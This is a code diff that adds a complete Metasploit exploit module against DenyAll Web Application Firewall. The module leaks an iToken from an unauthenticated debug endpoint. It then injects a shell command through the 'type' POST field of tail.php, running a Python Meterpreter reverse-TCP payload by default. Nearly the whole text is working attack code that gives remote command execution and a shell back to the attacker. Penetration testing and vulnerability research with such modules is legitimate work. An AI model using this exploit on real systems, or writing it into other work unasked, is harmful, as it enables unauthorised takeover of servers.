|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = ExcellentRanking |
| 8 | + |
| 9 | + include Msf::Exploit::Remote::HttpClient |
| 10 | + |
| 11 | + def initialize(info={}) |
| 12 | + super(update_info(info, |
| 13 | + 'Name' => "DenyAll Web Application Firewall Remote Code Execution", |
| 14 | + 'Description' => %q{ |
| 15 | + This module exploits the command injection vulnerability of DenyAll Web Application Firewall. Unauthenticated user can execute a |
| 16 | + terminal command under the context of the web server user. |
| 17 | + }, |
| 18 | + 'License' => MSF_LICENSE, |
| 19 | + 'Author' => |
| 20 | + [ |
| 21 | + 'Mehmet Ince <[email protected]>' # author & msf module |
| 22 | + ], |
| 23 | + 'References' => |
| 24 | + [ |
| 25 | + ['URL', 'https://pentest.blog/advisory-denyall-web-application-firewall-unauthenticated-remote-code-execution/'] |
| 26 | + ], |
| 27 | + 'DefaultOptions' => |
| 28 | + { |
| 29 | + 'SSL' => true, |
| 30 | + 'RPORT' => 3001, |
| 31 | + 'Payload' => 'python/meterpreter/reverse_tcp' |
| 32 | + }, |
| 33 | + 'Platform' => ['python'], |
| 34 | + 'Arch' => ARCH_PYTHON, |
| 35 | + 'Targets' => [[ 'Automatic', { }]], |
| 36 | + 'Privileged' => false, |
| 37 | + 'DisclosureDate' => "Sep 19 2017", |
| 38 | + 'DefaultTarget' => 0 |
| 39 | + )) |
| 40 | + |
| 41 | + register_options( |
| 42 | + [ |
| 43 | + OptString.new('TARGETURI', [true, 'The URI of the vulnerable Denyall WAF', '/']) |
| 44 | + ] |
| 45 | + ) |
| 46 | + end |
| 47 | + |
| 48 | + def check |
| 49 | + # Get iToken from unauthenticated accessible endpoint |
| 50 | + res = send_request_cgi({ |
| 51 | + 'method' => 'GET', |
| 52 | + 'uri' => normalize_uri(target_uri.path, 'webservices', 'download', 'index.php'), |
| 53 | + 'vars_get' => { |
| 54 | + 'applianceUid' => "LOCALUID", |
| 55 | + 'typeOf' => "debug" |
| 56 | + } |
| 57 | + }) |
| 58 | + |
| 59 | + if res && res.code == 200 && res.body.include?("iToken") |
| 60 | + return Exploit::CheckCode::Appears |
| 61 | + else |
| 62 | + return Exploit::CheckCode::Safe |
| 63 | + end |
| 64 | + end |
| 65 | + |
| 66 | + def exploit |
| 67 | + print_status("Extracting iToken value from unauthenticated accessible endpoint.") |
| 68 | + # Get iToken from unauthenticated accessible endpoint |
| 69 | + res = send_request_cgi({ |
| 70 | + 'method' => 'GET', |
| 71 | + 'uri' => normalize_uri(target_uri.path, 'webservices', 'download', 'index.php'), |
| 72 | + 'vars_get' => { |
| 73 | + 'applianceUid' => "LOCALUID", |
| 74 | + 'typeOf' => "debug" |
| 75 | + } |
| 76 | + }) |
| 77 | + |
| 78 | + if res && res.code == 200 && res.body.include?("iToken") |
| 79 | + iToken = res.body.scan(/"iToken";s:32:"([a-z][a-f0-9]{31})";/).flatten[0] |
| 80 | + print_good("Awesome. iToken value = #{iToken}") |
| 81 | + else |
| 82 | + fail_with(Failure::Unknown, "Didn't receive response from target server.") |
| 83 | + end |
| 84 | + |
| 85 | + # Accessing to the vulnerable endpoint with valid iToken |
| 86 | + print_status("Trigerring command injection vulnerability with iToken value.") |
| 87 | + |
| 88 | + r = rand_text_alpha(5 + rand(3)); |
| 89 | + |
| 90 | + send_request_cgi({ |
| 91 | + 'method' => 'POST', |
| 92 | + 'uri' => normalize_uri(target_uri.path, 'webservices', 'stream', 'tail.php'), |
| 93 | + 'vars_post' => { |
| 94 | + 'iToken' => iToken, |
| 95 | + 'tag' => "tunnel", |
| 96 | + 'stime' => r, |
| 97 | + 'type' => "#{r}$(python -c \"#{payload.encoded}\")" |
| 98 | + } |
| 99 | + }) |
| 100 | + |
| 101 | + end |
| 102 | +end |
0 commit comments